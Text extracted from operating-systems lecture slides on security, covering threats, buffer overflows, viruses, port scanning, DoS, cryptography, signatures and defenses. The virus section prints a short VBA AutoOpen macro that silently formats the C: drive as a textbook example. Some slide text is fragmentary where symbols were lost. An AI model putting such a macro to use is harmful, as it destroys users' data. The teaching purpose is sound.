Lecture 09
Lecture 09
System
Professor Mangal Sain
Lecture 9
Security
THE SECURITY PROBLEM
Breach of confidentiality
Unauthorized reading of data
Breach of integrity
Unauthorized modification of data
Breach of availability
Unauthorized destruction of data
Theft of service
Unauthorized use of resources
Denial of service (DOS)
Prevention of legitimate use
SECURITY VIOLATION METHODS
Logic Bomb
Program that initiates a security incident under
certain circumstances
Stack and Buffer Overflow
Exploits a bug in a program (overflow either the stack
or memory buffers)
Failure to check bounds on inputs, arguments
Write past arguments on the stack into the return
address on stack
When routine returns from call, returns to hacked
address
Pointed to code loaded onto stack that executes malicious
code
Unauthorized user or privilege escalation
GREAT PROGRAMMING REQUIRED?
For the first step of determining the bug, and second step
of writing exploit code, yes
Script kiddies can run pre-written exploit code to attack
a given system
Attack code can get a shell with the processes’ owner’s
permissions
Or open a network port, delete files, download a program, etc
Depending on bug, attack can be executed across a network
using allowed connections, bypassing firewalls
Buffer overflow can be disabled by disabling stack
execution or adding bit to page table to indicate “non-
executable” state
Available in SPARC and x86
But still have security exploits
Lecture 9 – Part 2
Security
PROGRAM THREATS (CONT.)
Viruses
Code fragment embedded in legitimate program
Self-replicating, designed to infect other computers
Very specific to CPU architecture, operating system,
applications
Usually borne via email or as a macro
Visual Basic Macro to reformat hard drive
Sub AutoOpen()
Dim oFS
Set oFS = CreateObject(’’Scripting.FileSystemObject’’)
vs = Shell(’’c:command.com /k format c:’’,vbHide)
End Sub
PROGRAM THREATS (CONT.)
Port scanning
Automated attempt to connect to a range of ports on
one or a range of IP addresses
Detection of answering service protocol
Detection of OS and version running on system
nmap scans all ports in a given IP range for a response
nessus has a database of protocols and bugs (and
exploits) to apply against a system
Frequently launched from zombie systems
To decrease trace-ability
SYSTEM AND NETWORK THREATS (CONT.)
Denial of Service
Overload the targeted computer preventing it from
doing any useful work
Distributed denial-of-service (DDOS) come from
multiple sites at once
Consider the start of the IP-connection handshake
(SYN)
How many started-connections can the OS handle?
Consider traffic to a web site
How can you tell the difference between being a target and
being really popular?
Accidental – CS students writing bad fork() code
Purposeful – extortion, punishment
CRYPTOGRAPHY AS A SECURITY TOOL
Broadest security tool available
Internal to a given computer, source and destination of
messages can be known and protected
OS creates, manages, protects process IDs, communication
ports
Source and destination of messages on network cannot
be trusted without cryptography
Local network – IP address?
Consider unauthorized host added
Security- Cryptography
ENCRYPTION
Constrains the set of possible receivers of a message
Encryption algorithm consists of
Set K of keys
Set M of Messages
Set C of ciphertexts (encrypted messages)
A function E : K → (M→C). That is, for each k K, Ek is a
function for generating ciphertexts from messages
Both E and Ek for any k should be efficiently computable
functions
A function D : K → (C → M). That is, for each k K, Dk is
a function for generating messages from ciphertexts
Both D and Dk for any k should be efficiently computable
functions
ENCRYPTION (CONT.)
An encryption algorithm must provide this essential
property: Given a ciphertext c C, a computer can
compute m such that Ek(m) = c only if it possesses k
Thus, a computer holding k can decrypt ciphertexts to the
plaintexts used to produce them, but a computer not
holding k cannot decrypt ciphertexts
Since ciphertexts are generally exposed (for example, sent
on the network), it is important that it be infeasible to
derive k from the ciphertexts
SYMMETRIC ENCRYPTION
Same key used to encrypt and decrypt
Therefore k must be kept secret
DES was most commonly used symmetric block-encryption algorithm (created
by US Govt)
Encrypts a block of data at a time
Keys too short so now considered insecure
Triple-DES considered more secure
Algorithm used 3 times using 2 or 3 keys
For example
2001 NIST adopted new block cipher - Advanced Encryption Standard (AES)
Keys of 128, 192, or 256 bits, works on 128 bit blocks
RC4 is most common symmetric stream cipher, but known to have
vulnerabilities
Encrypts/decrypts a stream of bytes (i.e., wireless transmission)
Key is a input to pseudo-random-bit generator
Generates an infinite keystream
SECURE COMMUNICATION OVER INSECURE MEDIUM
ASYMMETRIC ENCRYPTION
Basis of authentication
Creates small, fixed-size block of data message
digest (hash value) from m
Hash Function H must be collision resistant on m
Must be infeasible to find an m’ ≠ m such that H(m) = H(m’)
If H(m) = H(m’), then m = m’
The message has not been modified
Common message-digest functions include MD5,
which produces a 128-bit hash, and SHA-1, which
outputs a 160-bit hash
Not useful as authenticators
For example H(m) can be sent with a message
But if H is known someone could modify m to m’ and recompute H(m’)
and modification not detected
So must authenticate H(m)
AUTHENTICATION - MAC
Symmetric encryption used in message-
authentication code (MAC) authentication
algorithm
Cryptographic checksum generated from message
using secret key
Can securely authenticate short values
If used to authenticate H(m) for an H that is
collision resistant, then obtain a way to securely
authenticate long message by hashing them first
Note that k is needed to compute both Sk and Vk, so
anyone able to compute one can compute the other
AUTHENTICATION – DIGITAL SIGNATURE
Based on asymmetric keys and digital signature algorithm
Authenticators produced are digital signatures
Very useful – anyone can verify authenticity of a message
In a digital-signature algorithm, computationally
infeasible to derive ks from kv
V is a one-way function
Thus, kv is the public key and ks is the private key
Consider the RSA digital-signature algorithm
Similar to the RSA encryption algorithm, but the key use is
reversed
Digital signature of message Sks (m) = H(m)ks mod N
The key ks again is a pair (d, N), where N is the product of two
large, randomly chosen prime numbers p and q
Verification algorithm is Vkv(m, a) (akv mod N = H(m))
Where kv satisfies kvks mod (p − 1)(q − 1) = 1
KEY DISTRIBUTION
level? OSI_model
Biometrics
Some physical attribute (fingerprint, hand scan)
Multi-factor authentication
Need two or more factors for authentication
i.e. USB “dongle”, biometric measure, and password
IMPLEMENTING SECURITY DEFENSES
Defense in depth is most common security theory – multiple layers of
security
Security policy describes what is being secured
Vulnerability assessment compares real state of system / network compared
to security policy
Intrusion detection endeavors to detect attempted or successful intrusions
Signature-based detection spots known bad patterns
Anomaly detection spots differences from normal behavior
Can detect zero-day attacks